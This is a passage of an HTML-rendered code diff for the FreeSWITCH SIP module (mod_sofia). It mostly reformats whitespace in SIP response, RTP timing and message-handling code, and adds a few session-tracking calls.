</span><span class="cx"> 
</span><span class="lines">@@ -503,7 +543,7 @@
</span><span class="cx">                         tech_pvt-&gt;local_sdp_str = NULL;
</span><span class="cx">                         sofia_glue_tech_choose_port(tech_pvt, 0);
</span><span class="cx">                         sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         /* Send the 200 OK */
</span><span class="cx">                         if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
</span><span class="cx">                                 char *extra_headers = sofia_glue_get_extra_headers(channel, SOFIA_SIP_RESPONSE_HEADER_PREFIX);
</span><span class="lines">@@ -513,11 +553,10 @@
</span><span class="cx">                                                                 SOATAG_USER_SDP_STR(tech_pvt-&gt;local_sdp_str),
</span><span class="cx">                                                                 TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
</span><span class="cx">                                                                 SOATAG_REUSE_REJECTED(1),
</span><del>-                                                                SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX(&quot;cn telephone-event&quot;), NUTAG_INCLUDE_EXTRA_SDP(1), 
</del><ins>+                                                                SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX(&quot;cn telephone-event&quot;), NUTAG_INCLUDE_EXTRA_SDP(1),
</ins><span class="cx">                                                                 TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
</span><del>-                                                                TAG_IF(switch_stristr(&quot;update_display&quot;, tech_pvt-&gt;x_freeswitch_support_remote), 
-                                                                           SIPTAG_HEADER_STR(&quot;X-FS-Support: &quot;FREESWITCH_SUPPORT)),
-                                                                TAG_END());
</del><ins>+                                                                TAG_IF(switch_stristr(&quot;update_display&quot;, tech_pvt-&gt;x_freeswitch_support_remote),
+                                                                           SIPTAG_HEADER_STR(&quot;X-FS-Support: &quot; FREESWITCH_SUPPORT)), TAG_END());
</ins><span class="cx">                                 } else {
</span><span class="cx">                                         nua_respond(tech_pvt-&gt;nh, SIP_200_OK,
</span><span class="cx">                                                                 NUTAG_MEDIA_ENABLE(0),
</span><span class="lines">@@ -525,10 +564,9 @@
</span><span class="cx">                                                                 TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
</span><span class="cx">                                                                 TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
</span><span class="cx">                                                                 SIPTAG_CONTENT_TYPE_STR(&quot;application/sdp&quot;),
</span><del>-                                                                SIPTAG_PAYLOAD_STR(tech_pvt-&gt;local_sdp_str),                                                                
-                                                                TAG_IF(switch_stristr(&quot;update_display&quot;, tech_pvt-&gt;x_freeswitch_support_remote), 
-                                                                           SIPTAG_HEADER_STR(&quot;X-FS-Support: &quot;FREESWITCH_SUPPORT)),
-                                                                TAG_END());
</del><ins>+                                                                SIPTAG_PAYLOAD_STR(tech_pvt-&gt;local_sdp_str),
+                                                                TAG_IF(switch_stristr(&quot;update_display&quot;, tech_pvt-&gt;x_freeswitch_support_remote),
+                                                                           SIPTAG_HEADER_STR(&quot;X-FS-Support: &quot; FREESWITCH_SUPPORT)), TAG_END());
</ins><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;3PCC-PROXY, Sent a 200 OK, waiting for ACK\n&quot;);
</span><span class="lines">@@ -538,14 +576,14 @@
</span><span class="cx">                         /* Unlock the session signal to allow the ack to make it in */
</span><span class="cx">                         // Maybe we should timeout?
</span><span class="cx">                         switch_mutex_unlock(tech_pvt-&gt;sofia_mutex);
</span><del>-                        
-                        while(switch_channel_ready(channel) &amp;&amp; !sofia_test_flag(tech_pvt, TFLAG_3PCC_HAS_ACK)) {
</del><ins>+
+                        while (switch_channel_ready(channel) &amp;&amp; !sofia_test_flag(tech_pvt, TFLAG_3PCC_HAS_ACK)) {
</ins><span class="cx">                                 switch_cond_next();
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         /*  Regain lock on sofia */
</span><span class="cx">                         switch_mutex_lock(tech_pvt-&gt;sofia_mutex);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;3PCC-PROXY, Done waiting for ACK\n&quot;);
</span><span class="cx">                         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">                 }
</span><span class="lines">@@ -578,7 +616,7 @@
</span><span class="cx">                         switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                         return status;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 sofia_glue_set_local_sdp(tech_pvt, NULL, 0, NULL, 0);
</span><span class="cx">                 if (sofia_glue_activate_rtp(tech_pvt, 0) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="lines">@@ -586,7 +624,8 @@
</span><span class="cx"> 
</span><span class="cx">                 if (tech_pvt-&gt;nh) {
</span><span class="cx">                         if (tech_pvt-&gt;local_sdp_str) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Local SDP %s:\n%s\n&quot;, switch_channel_get_name(channel), tech_pvt-&gt;local_sdp_str);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Local SDP %s:\n%s\n&quot;, switch_channel_get_name(channel),
+                                                                  tech_pvt-&gt;local_sdp_str);
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -618,11 +657,10 @@
</span><span class="cx">                                                 SIPTAG_CONTACT_STR(tech_pvt-&gt;reply_contact),
</span><span class="cx">                                                 SIPTAG_CALL_INFO_STR(switch_channel_get_variable(tech_pvt-&gt;channel, SOFIA_SIP_HEADER_PREFIX &quot;call_info&quot;)),
</span><span class="cx">                                                 SOATAG_USER_SDP_STR(tech_pvt-&gt;local_sdp_str),
</span><del>-                                                SOATAG_REUSE_REJECTED(1), SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX(&quot;cn telephone-event&quot;), NUTAG_INCLUDE_EXTRA_SDP(1), 
</del><ins>+                                                SOATAG_REUSE_REJECTED(1), SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX(&quot;cn telephone-event&quot;), NUTAG_INCLUDE_EXTRA_SDP(1),
</ins><span class="cx">                                                 TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
</span><del>-                                                TAG_IF(switch_stristr(&quot;update_display&quot;, tech_pvt-&gt;x_freeswitch_support_remote), 
-                                                           SIPTAG_HEADER_STR(&quot;X-FS-Support: &quot;FREESWITCH_SUPPORT)),
-                                                TAG_END());
</del><ins>+                                                TAG_IF(switch_stristr(&quot;update_display&quot;, tech_pvt-&gt;x_freeswitch_support_remote),
+                                                           SIPTAG_HEADER_STR(&quot;X-FS-Support: &quot; FREESWITCH_SUPPORT)), TAG_END());
</ins><span class="cx">                 } else {
</span><span class="cx">                         nua_respond(tech_pvt-&gt;nh, SIP_200_OK,
</span><span class="cx">                                                 NUTAG_AUTOANSWER(0),
</span><span class="lines">@@ -634,11 +672,10 @@
</span><span class="cx">                                                 SIPTAG_CONTACT_STR(tech_pvt-&gt;reply_contact),
</span><span class="cx">                                                 SIPTAG_CALL_INFO_STR(switch_channel_get_variable(tech_pvt-&gt;channel, SOFIA_SIP_HEADER_PREFIX &quot;call_info&quot;)),
</span><span class="cx">                                                 SIPTAG_CONTENT_TYPE_STR(&quot;application/sdp&quot;),
</span><del>-                                                SIPTAG_PAYLOAD_STR(tech_pvt-&gt;local_sdp_str),                                                
</del><ins>+                                                SIPTAG_PAYLOAD_STR(tech_pvt-&gt;local_sdp_str),
</ins><span class="cx">                                                 TAG_IF(!zstr(extra_headers), SIPTAG_HEADER_STR(extra_headers)),
</span><del>-                                                TAG_IF(switch_stristr(&quot;update_display&quot;, tech_pvt-&gt;x_freeswitch_support_remote), 
-                                                           SIPTAG_HEADER_STR(&quot;X-FS-Support: &quot;FREESWITCH_SUPPORT)),
-                                                TAG_END());
</del><ins>+                                                TAG_IF(switch_stristr(&quot;update_display&quot;, tech_pvt-&gt;x_freeswitch_support_remote),
+                                                           SIPTAG_HEADER_STR(&quot;X-FS-Support: &quot; FREESWITCH_SUPPORT)), TAG_END());
</ins><span class="cx">                 }
</span><span class="cx">                 switch_safe_free(extra_headers);
</span><span class="cx">                 sofia_set_flag_locked(tech_pvt, TFLAG_ANS);
</span><span class="lines">@@ -778,7 +815,7 @@
</span><span class="cx">         tech_pvt-&gt;read_frame.datalen = 0;
</span><span class="cx">         sofia_set_flag_locked(tech_pvt, TFLAG_READING);
</span><span class="cx"> 
</span><del>-        if (sofia_test_flag(tech_pvt, TFLAG_HUP) || sofia_test_flag(tech_pvt, TFLAG_BYE) || !tech_pvt-&gt;read_codec.implementation || 
</del><ins>+        if (sofia_test_flag(tech_pvt, TFLAG_HUP) || sofia_test_flag(tech_pvt, TFLAG_BYE) || !tech_pvt-&gt;read_codec.implementation ||
</ins><span class="cx">                 !switch_core_codec_ready(&amp;tech_pvt-&gt;read_codec)) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="lines">@@ -792,7 +829,7 @@
</span><span class="cx"> 
</span><span class="cx">                 switch_assert(tech_pvt-&gt;rtp_session != NULL);
</span><span class="cx">                 tech_pvt-&gt;read_frame.datalen = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 while (sofia_test_flag(tech_pvt, TFLAG_IO) &amp;&amp; tech_pvt-&gt;read_frame.datalen == 0) {
</span><span class="cx">                         tech_pvt-&gt;read_frame.flags = SFF_NONE;
</span><span class="cx"> 
</span><span class="lines">@@ -800,13 +837,13 @@
</span><span class="cx"> 
</span><span class="cx">                         if (status != SWITCH_STATUS_SUCCESS &amp;&amp; status != SWITCH_STATUS_BREAK) {
</span><span class="cx">                                 if (status == SWITCH_STATUS_TIMEOUT) {
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (sofia_test_flag(tech_pvt, TFLAG_SIP_HOLD)) {
</span><span class="cx">                                                 sofia_glue_toggle_hold(tech_pvt, 0);
</span><span class="cx">                                                 sofia_clear_flag_locked(tech_pvt, TFLAG_SIP_HOLD);
</span><span class="cx">                                                 switch_channel_clear_flag(channel, CF_LEG_HOLDING);
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_channel_hangup(tech_pvt-&gt;channel, SWITCH_CAUSE_MEDIA_TIMEOUT);
</span><span class="cx">                                 }
</span><span class="cx">                                 return status;
</span><span class="lines">@@ -836,26 +873,26 @@
</span><span class="cx">                                                 *frame = NULL;
</span><span class="cx">                                                 return SWITCH_STATUS_GENERR;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if ((tech_pvt-&gt;read_frame.datalen % 10) == 0 &amp;&amp;
</span><span class="cx">                                                 sofia_test_pflag(tech_pvt-&gt;profile, PFLAG_AUTOFIX_TIMING) &amp;&amp; tech_pvt-&gt;check_frames &lt; MAX_CODEC_CHECK_FRAMES) {
</span><span class="cx">                                                 tech_pvt-&gt;check_frames++;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (!tech_pvt-&gt;read_impl.encoded_bytes_per_packet) {
</span><span class="cx">                                                         tech_pvt-&gt;check_frames = MAX_CODEC_CHECK_FRAMES;
</span><span class="cx">                                                         goto skip;
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (tech_pvt-&gt;last_ts &amp;&amp; tech_pvt-&gt;read_frame.datalen != tech_pvt-&gt;read_impl.encoded_bytes_per_packet) {
</span><del>-                                                        uint32_t codec_ms = (int)(tech_pvt-&gt;read_frame.timestamp - 
-                                                                                                                   tech_pvt-&gt;last_ts) / (tech_pvt-&gt;read_impl.samples_per_second / 1000);
</del><ins>+                                                        uint32_t codec_ms = (int) (tech_pvt-&gt;read_frame.timestamp -
+                                                                                                           tech_pvt-&gt;last_ts) / (tech_pvt-&gt;read_impl.samples_per_second / 1000);
</ins><span class="cx"> 
</span><span class="cx">                                                         if ((codec_ms % 10) != 0 || codec_ms &gt; tech_pvt-&gt;read_impl.samples_per_packet * 10) {
</span><span class="cx">                                                                 tech_pvt-&gt;last_ts = 0;
</span><span class="cx">                                                                 goto skip;
</span><span class="cx">                                                         }
</span><del>-                                                        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                                                         if (tech_pvt-&gt;last_codec_ms &amp;&amp; tech_pvt-&gt;last_codec_ms == codec_ms) {
</span><span class="cx">                                                                 tech_pvt-&gt;mismatch_count++;
</span><span class="cx">                                                         }
</span><span class="lines">@@ -867,72 +904,72 @@
</span><span class="cx">                                                                         const char *val;
</span><span class="cx">                                                                         int rtp_timeout_sec = 0;
</span><span class="cx">                                                                         int rtp_hold_timeout_sec = 0;
</span><del>-                                                                
-                                                                        if (codec_ms &gt; 120) { /* yeah right */
-                                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, 
</del><ins>+
+                                                                        if (codec_ms &gt; 120) {        /* yeah right */
+                                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</ins><span class="cx">                                                                                                                   &quot;Your phone is trying to send timestamps that suggest an increment of %dms per packet\n&quot;
</span><del>-                                                                                                                  &quot;That seems hard to believe so I am going to go on ahead and um ignore that, mmkay?&quot;, (int)codec_ms);
</del><ins>+                                                                                                                  &quot;That seems hard to believe so I am going to go on ahead and um ignore that, mmkay?&quot;,
+                                                                                                                  (int) codec_ms);
</ins><span class="cx">                                                                                 tech_pvt-&gt;check_frames = MAX_CODEC_CHECK_FRAMES;
</span><span class="cx">                                                                                 goto skip;
</span><span class="cx">                                                                         }
</span><span class="cx"> 
</span><span class="cx">                                                                         tech_pvt-&gt;read_frame.datalen = 0;
</span><del>-                                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, 
</del><ins>+                                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</ins><span class="cx">                                                                                                           &quot;We were told to use ptime %d but what they meant to say was %d\n&quot;
</span><del>-                                                                                                          &quot;This issue has so far been identified to happen on the following broken platforms/devices:\n&quot; 
</del><ins>+                                                                                                          &quot;This issue has so far been identified to happen on the following broken platforms/devices:\n&quot;
</ins><span class="cx">                                                                                                           &quot;Linksys/Sipura aka Cisco\n&quot;
</span><span class="cx">                                                                                                           &quot;ShoreTel\n&quot;
</span><span class="cx">                                                                                                           &quot;Sonus/L3\n&quot;
</span><del>-                                                                                                          &quot;We will try to fix it but some of the devices on this list are so broken who knows what will happen..\n&quot;
-                                                                                                          , 
-                                                                                                          (int)tech_pvt-&gt;codec_ms, (int)codec_ms);
</del><ins>+                                                                                                          &quot;We will try to fix it but some of the devices on this list are so broken who knows what will happen..\n&quot;,
+                                                                                                          (int) tech_pvt-&gt;codec_ms, (int) codec_ms);
</ins><span class="cx"> 
</span><del>-                                                                        switch_channel_set_variable_printf(channel, &quot;sip_h_X-Broken-PTIME&quot;, &quot;Adv=%d;Sent=%d&quot;, 
-                                                                                                                                           (int)tech_pvt-&gt;codec_ms, (int)codec_ms);
</del><ins>+                                                                        switch_channel_set_variable_printf(channel, &quot;sip_h_X-Broken-PTIME&quot;, &quot;Adv=%d;Sent=%d&quot;,
+                                                                                                                                           (int) tech_pvt-&gt;codec_ms, (int) codec_ms);
</ins><span class="cx"> 
</span><span class="cx">                                                                         tech_pvt-&gt;codec_ms = codec_ms;
</span><del>-                                                                        
</del><ins>+
</ins><span class="cx">                                                                         if (sofia_glue_tech_set_codec(tech_pvt, 2) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                                                 *frame = NULL;
</span><span class="cx">                                                                                 return SWITCH_STATUS_GENERR;
</span><span class="cx">                                                                         }
</span><del>-                                                                        
</del><ins>+
</ins><span class="cx">                                                                         if ((val = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;rtp_timeout_sec&quot;))) {
</span><span class="cx">                                                                                 int v = atoi(val);
</span><span class="cx">                                                                                 if (v &gt;= 0) {
</span><span class="cx">                                                                                         rtp_timeout_sec = v;
</span><span class="cx">                                                                                 }
</span><span class="cx">                                                                         }
</span><del>-                                                                        
</del><ins>+
</ins><span class="cx">                                                                         if ((val = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;rtp_hold_timeout_sec&quot;))) {
</span><span class="cx">                                                                                 int v = atoi(val);
</span><span class="cx">                                                                                 if (v &gt;= 0) {
</span><span class="cx">                                                                                         rtp_hold_timeout_sec = v;
</span><span class="cx">                                                                                 }
</span><span class="cx">                                                                         }
</span><del>-                                                                        
</del><ins>+
</ins><span class="cx">                                                                         if (rtp_timeout_sec) {
</span><span class="cx">                                                                                 tech_pvt-&gt;max_missed_packets = (tech_pvt-&gt;read_impl.samples_per_second * rtp_timeout_sec) /
</span><span class="cx">                                                                                         tech_pvt-&gt;read_impl.samples_per_packet;
</span><del>-                                                                                
</del><ins>+
</ins><span class="cx">                                                                                 switch_rtp_set_max_missed_packets(tech_pvt-&gt;rtp_session, tech_pvt-&gt;max_missed_packets);
</span><span class="cx">                                                                                 if (!rtp_hold_timeout_sec) {
</span><span class="cx">                                                                                         rtp_hold_timeout_sec = rtp_timeout_sec * 10;
</span><span class="cx">                                                                                 }
</span><span class="cx">                                                                         }
</span><del>-                                                                        
</del><ins>+
</ins><span class="cx">                                                                         if (rtp_hold_timeout_sec) {
</span><span class="cx">                                                                                 tech_pvt-&gt;max_missed_hold_packets = (tech_pvt-&gt;read_impl.samples_per_second * rtp_hold_timeout_sec) /
</span><span class="cx">                                                                                         tech_pvt-&gt;read_impl.samples_per_packet;
</span><span class="cx">                                                                         }
</span><del>-                                                                        
-                                                                        
</del><ins>+
+
</ins><span class="cx">                                                                         tech_pvt-&gt;check_frames = 0;
</span><span class="cx">                                                                         tech_pvt-&gt;last_ts = 0;
</span><span class="cx"> 
</span><span class="cx">                                                                         /* inform them of the codec they are actually sending */
</span><span class="cx">                                                                         if (++tech_pvt-&gt;codec_reinvites &gt; 2) {
</span><del>-                                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, 
</del><ins>+                                                                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</ins><span class="cx">                                                                                                                   &quot;Ok, some devices *cough* X-lite *cough*\n&quot;
</span><span class="cx">                                                                                                                   &quot;seem to continue to lie over and over again so I guess we'll\n&quot;
</span><span class="cx">                                                                                                                   &quot;leave well-enough alone and let them lie\n&quot;);
</span><span class="lines">@@ -941,9 +978,9 @@
</span><span class="cx">                                                                         }
</span><span class="cx"> 
</span><span class="cx">                                                                 }
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         }
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                 } else {
</span><span class="cx">                                                         tech_pvt-&gt;mismatch_count = 0;
</span><span class="cx">                                                 }
</span><span class="lines">@@ -952,8 +989,8 @@
</span><span class="cx">                                                 tech_pvt-&gt;mismatch_count = 0;
</span><span class="cx">                                                 tech_pvt-&gt;last_ts = 0;
</span><span class="cx">                                         }
</span><del>-                                skip:
-                                        
</del><ins>+                                  skip:
+
</ins><span class="cx">                                         if ((bytes = tech_pvt-&gt;read_impl.encoded_bytes_per_packet)) {
</span><span class="cx">                                                 frames = (tech_pvt-&gt;read_frame.datalen / bytes);
</span><span class="cx">                                         }
</span><span class="lines">@@ -1121,6 +1158,11 @@
</span><span class="cx"> 
</span><span class="cx">         /* ones that do not need to lock sofia mutex */
</span><span class="cx">         switch (msg-&gt;message_id) {
</span><ins>+        case SWITCH_MESSAGE_INDICATE_APPLICATION_EXEC:
+                {
+                        sofia_glue_tech_track(tech_pvt-&gt;profile, session);
+                }
+                break;
</ins><span class="cx">         case SWITCH_MESSAGE_INDICATE_PROXY_MEDIA:
</span><span class="cx">                 {
</span><span class="cx">                         if (switch_rtp_ready(tech_pvt-&gt;rtp_session)) {
</span><span class="lines">@@ -1167,10 +1209,11 @@
</span><span class="cx">                 {
</span><span class="cx">                         const char *network_addr_a, *network_addr_b, *simplify_a, *simplify_b;
</span><span class="cx">                         int s_ok = 0;
</span><ins>+                        int do_s = 0;
</ins><span class="cx"> 
</span><span class="cx">                         simplify_a = switch_channel_get_variable(channel, &quot;sip_auto_simplify&quot;);
</span><span class="cx">                         simplify_b = switch_channel_get_variable_partner(channel, &quot;sip_auto_simplify&quot;);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_true(simplify_a)) {
</span><span class="cx">                                 if (switch_true(simplify_b) &amp;&amp; !switch_channel_test_flag(channel, CF_BRIDGE_ORIGINATOR)) {
</span><span class="cx">                                         s_ok = 0;
</span><span class="lines">@@ -1182,27 +1225,32 @@
</span><span class="cx">                         if (s_ok) {
</span><span class="cx">                                 network_addr_a = switch_channel_get_variable(channel, &quot;network_addr&quot;);
</span><span class="cx">                                 network_addr_b = switch_channel_get_variable_partner(channel, &quot;network_addr&quot;);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!zstr(network_addr_a) &amp;&amp; !zstr(network_addr_b) &amp;&amp; !strcmp(network_addr_a, network_addr_b)) {
</span><del>-                                        if (strcmp(network_addr_a, switch_str_nil(tech_pvt-&gt;profile-&gt;sipip)) &amp;&amp; 
</del><ins>+                                        if (strcmp(network_addr_a, switch_str_nil(tech_pvt-&gt;profile-&gt;sipip)) &amp;&amp;
</ins><span class="cx">                                                 strcmp(network_addr_a, switch_str_nil(tech_pvt-&gt;profile-&gt;extsipip))) {
</span><span class="cx">                                                 switch_core_session_message_t smsg = { 0 };
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                                 smsg.message_id = SWITCH_MESSAGE_INDICATE_SIMPLIFY;
</span><span class="cx">                                                 smsg.from = __FILE__;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 status = switch_core_session_receive_message(session, &amp;smsg);
</span><ins>+                                                do_s = 1;
</ins><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
+                        if (!do_s) {
+                                sofia_glue_tech_track(tech_pvt-&gt;profile, session);
+                        }
+
</ins><span class="cx">                         if (switch_rtp_ready(tech_pvt-&gt;rtp_session)) {
</span><span class="cx">                                 const char *val;
</span><span class="cx">                                 int ok = 0;
</span><span class="cx"> 
</span><span class="cx">                                 if (sofia_test_flag(tech_pvt, TFLAG_PASS_RFC2833) &amp;&amp; switch_channel_test_flag_partner(channel, CF_FS_RTP)) {
</span><span class="cx">                                         switch_rtp_set_flag(tech_pvt-&gt;rtp_session, SWITCH_RTP_FLAG_PASS_RFC2833);
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, 
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</ins><span class="cx">                                                                           &quot;%s activate passthru 2833 mode.\n&quot;, switch_channel_get_name(channel));
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="lines">@@ -1211,7 +1259,7 @@
</span><span class="cx">                                 } else {
</span><span class="cx">                                         ok = sofia_test_pflag(tech_pvt-&gt;profile, PFLAG_RTP_AUTOFLUSH_DURING_BRIDGE);
</span><span class="cx">                                 }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                                 if (ok) {
</span><span class="cx">                                         rtp_flush_read_buffer(tech_pvt-&gt;rtp_session, SWITCH_RTP_FLUSH_STICK);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -1226,7 +1274,8 @@
</span><span class="cx">                         int ok = 0;
</span><span class="cx"> 
</span><span class="cx">                         if (switch_rtp_test_flag(tech_pvt-&gt;rtp_session, SWITCH_RTP_FLAG_PASS_RFC2833)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s deactivate passthru 2833 mode.\n&quot;, switch_channel_get_name(channel));
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s deactivate passthru 2833 mode.\n&quot;,
+                                                                  switch_channel_get_name(channel));
</ins><span class="cx">                                 switch_rtp_clear_flag(tech_pvt-&gt;rtp_session, SWITCH_RTP_FLAG_PASS_RFC2833);
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="lines">@@ -1235,13 +1284,15 @@
</span><span class="cx">                         } else {
</span><span class="cx">                                 ok = sofia_test_pflag(tech_pvt-&gt;profile, PFLAG_RTP_AUTOFLUSH_DURING_BRIDGE);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (ok) {
</span><span class="cx">                                 rtp_flush_read_buffer(tech_pvt-&gt;rtp_session, SWITCH_RTP_FLUSH_UNSTICK);
</span><span class="cx">                         } else {
</span><span class="cx">                                 rtp_flush_read_buffer(tech_pvt-&gt;rtp_session, SWITCH_RTP_FLUSH_ONCE);
</span><span class="cx">                         }
</span><span class="cx"> 
</span><ins>+                        //sofia_glue_tech_untrack(tech_pvt-&gt;profile, session);
+
</ins><span class="cx">                 }
</span><span class="cx">                 goto end;
</span><span class="cx">         case SWITCH_MESSAGE_INDICATE_AUDIO_SYNC:
</span><span class="lines">@@ -1266,11 +1317,11 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (presence_id || presence_data) {
</span><span class="cx">                                 char *sql = switch_mprintf(&quot;update sip_dialogs set presence_id='%q',presence_data='%q' &quot;
</span><del>-                                                                         &quot;where uuid='%s';\n&quot;, switch_str_nil(presence_id), switch_str_nil(presence_data), 
-                                                                         switch_core_session_get_uuid(session));
</del><ins>+                                                                                   &quot;where uuid='%s';\n&quot;, switch_str_nil(presence_id), switch_str_nil(presence_data),
+                                                                                   switch_core_session_get_uuid(session));
</ins><span class="cx">                                 switch_assert(sql);
</span><span class="cx">                                 sofia_glue_execute_sql_now(tech_pvt-&gt;profile, &amp;sql, SWITCH_TRUE);
</span><span class="cx">                         }
</span><span class="lines">@@ -1279,12 +1330,11 @@
</span><span class="cx">                         if ((var = switch_channel_get_variable(channel, SOFIA_SECURE_MEDIA_VARIABLE)) &amp;&amp; switch_true(var)) {
</span><span class="cx">                                 sofia_set_flag_locked(tech_pvt, TFLAG_SECURE);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (sofia_test_pflag(tech_pvt-&gt;profile, PFLAG_AUTOFIX_TIMING)) {
</span><span class="cx">                                 tech_pvt-&gt;check_frames = 0;
</span><span class="cx">                                 tech_pvt-&gt;last_ts = 0;
</span><span class="cx">                         }
</span><del>-
</del><span class="cx">                 }
</span><span class="cx">                 break;
</span><span class="cx">         default:
</span><span class="lines">@@ -1307,11 +1357,7 @@
</span><span class="cx">                                 &quot; &lt;media_control&gt;\r\n&quot;
</span><span class="cx">                                 &quot;  &lt;vc_primitive&gt;\r\n&quot;
</span><span class="cx">                                 &quot;   &lt;to_encoder&gt;\r\n&quot;
</span><del>-                                &quot;    &lt;picture_fast_update&gt;\r\n&quot; 
-                                &quot;    &lt;/picture_fast_update&gt;\r\n&quot; 
-                                &quot;   &lt;/to_encoder&gt;\r\n&quot; 
-                                &quot;  &lt;/vc_primitive&gt;\r\n&quot; 
-                                &quot; &lt;/media_control&gt;\r\n&quot;;
</del><ins>+                                &quot;    &lt;picture_fast_update&gt;\r\n&quot; &quot;    &lt;/picture_fast_update&gt;\r\n&quot; &quot;   &lt;/to_encoder&gt;\r\n&quot; &quot;  &lt;/vc_primitive&gt;\r\n&quot; &quot; &lt;/media_control&gt;\r\n&quot;;
</ins><span class="cx"> 
</span><span class="cx">                         nua_info(tech_pvt-&gt;nh, SIPTAG_CONTENT_TYPE_STR(&quot;application/media_control+xml&quot;), SIPTAG_PAYLOAD_STR(pl), TAG_END());
</span><span class="cx"> 
</span><span class="lines">@@ -1331,15 +1377,13 @@
</span><span class="cx">                                         nua_respond(tech_pvt-&gt;nh, SIP_200_OK,
</span><span class="cx">                                                                 SIPTAG_CONTACT_STR(tech_pvt-&gt;reply_contact),
</span><span class="cx">                                                                 SOATAG_USER_SDP_STR(tech_pvt-&gt;local_sdp_str),
</span><del>-                                                                SOATAG_REUSE_REJECTED(1), SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX(&quot;cn telephone-event&quot;), NUTAG_INCLUDE_EXTRA_SDP(1), 
</del><ins>+                                                                SOATAG_REUSE_REJECTED(1), SOATAG_ORDERED_USER(1), SOATAG_AUDIO_AUX(&quot;cn telephone-event&quot;), NUTAG_INCLUDE_EXTRA_SDP(1),
</ins><span class="cx">                                                                 TAG_END());
</span><span class="cx">                                 } else {
</span><span class="cx">                                         nua_respond(tech_pvt-&gt;nh, SIP_200_OK,
</span><span class="cx">                                                                 NUTAG_MEDIA_ENABLE(0),
</span><span class="cx">                                                                 SIPTAG_CONTACT_STR(tech_pvt-&gt;reply_contact),
</span><del>-                                                                SIPTAG_CONTENT_TYPE_STR(&quot;application/sdp&quot;),
-                                                                SIPTAG_PAYLOAD_STR(tech_pvt-&gt;local_sdp_str),                                                                
-                                                                TAG_END());
